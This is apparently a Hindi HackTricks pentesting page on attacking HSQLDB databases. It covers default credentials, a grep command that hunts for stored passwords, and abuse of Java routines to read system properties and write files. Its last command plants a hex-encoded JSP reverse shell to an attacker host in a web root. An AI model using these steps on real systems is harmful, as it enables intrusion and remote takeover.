AWS हैकिंग सीखें शून्य से नायक तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord समूह में शामिल हों**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) या **Twitter** 🐦 पर **मुझे फॉलो करें** [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
# मूल जानकारी
HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\) Java में लिखा गया एक प्रमुख SQL संबंधित डेटाबेस सिस्टम है। यह एक छोटा, तेज़ मल्टीथ्रेडेड और ट्रांजैक्शनल डेटाबेस इंजन प्रदान करता है जिसमें इन-मेमोरी और डिस्क-आधारित टेबल्स होते हैं और यह एम्बेडेड और सर्वर मोड्स को सपोर्ट करता है।
**डिफ़ॉल्ट पोर्ट:** 9001
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
# जानकारी
### डिफ़ॉल्ट सेटिंग्स
ध्यान दें कि डिफ़ॉल्ट रूप से यह सेवा संभवतः मेमोरी में चल रही होती है या लोकलहोस्ट से बंधी होती है। यदि आपने इसे पाया है, तो आपने शायद किसी अन्य सेवा का शोषण किया है और आप विशेषाधिकारों को बढ़ाने की तलाश में हैं।
डिफ़ॉल्ट क्रेडेंशियल्स आमतौर पर `sa` होते हैं जिसका पासवर्ड खाली होता है।
यदि आपने किसी अन्य सेवा का शोषण किया है, तो संभावित क्रेडेंशियल्स की खोज करें इसका उपयोग करके
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
ध्यान दें कि डेटाबेस का नाम सावधानीपूर्वक नोट करें - आपको कनेक्ट करने के लिए इसकी आवश्यकता होगी।
# सूचना संग्रहण
[HSQLDB डाउनलोड करके](https://sourceforge.net/projects/hsqldb/files/) और `hsqldb/lib/hsqldb.jar` निकालकर DB इंस्टेंस से कनेक्ट करें। `java -jar hsqldb.jar` का उपयोग करके GUI ऐप \(eww\) चलाएं और पता चले/कमजोर क्रेडेंशियल्स का उपयोग करके इंस्टेंस से कनेक्ट करें।
नोट करें कि कनेक्शन URL एक दूरस्थ सिस्टम के लिए इस तरह दिखाई देगा: `jdbc:hsqldb:hsql://ip/DBNAME`.
# ट्रिक्स
## जावा भाषा रूटीन्स
हम HSQLDB का उपयोग करके जावा क्लास के स्टेटिक मेथड्स को कॉल कर सकते हैं। ध्यान दें कि कॉल की गई क्लास एप्लिकेशन के क्लासपाथ में होनी चाहिए।
JRTs `functions` या `procedures` हो सकते हैं। यदि जावा मेथड एक या अधिक SQL-संगत प्राइमिटिव वेरिएबल्स लौटाता है, तो फंक्शन्स को SQL स्टेटमेंट्स के माध्यम से कॉल किया जा सकता है। उन्हें `VALUES` स्टेटमेंट का उपयोग करके आमंत्रित किया जाता है।
यदि हम जिस जावा मेथड को कॉल करना चाहते हैं वह void लौटाता है, तो हमें एक प्रोसीजर का उपयोग करना होगा जिसे `CALL` स्टेटमेंट के साथ आमंत्रित किया जाता है।
## जावा सिस्टम प्रॉपर्टीज पढ़ना
फंक्शन बनाएं:
```text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
```
निष्पादित कार्य:
```text
VALUES(getsystemproperty('user.name'))
```
आप [यहाँ सिस्टम प्रॉपर्टीज की सूची देख सकते हैं](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html)।
## फाइल में कंटेंट लिखें
आप `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java गैजेट का उपयोग कर सकते हैं जो JDK में स्थित है \(ऑटो लोडेड इन्टू द क्लास पाथ ऑफ द एप्लिकेशन\) डिस्क पर हेक्स-एन्कोडेड आइटम्स को कस्टम प्रोसीजर के माध्यम से लिखने के लिए। **अधिकतम आकार 1024 बाइट्स का ध्यान रखें**।
प्रोसीजर बनाएँ:
```text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
```
निष्पादित प्रक्रिया:
```text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
```
AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord समूह में शामिल हों**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में या **Twitter** 🐦 पर **मुझे फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **अपनी हैकिंग ट्रिक्स साझा करें, HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपोज में PRs सबमिट करके.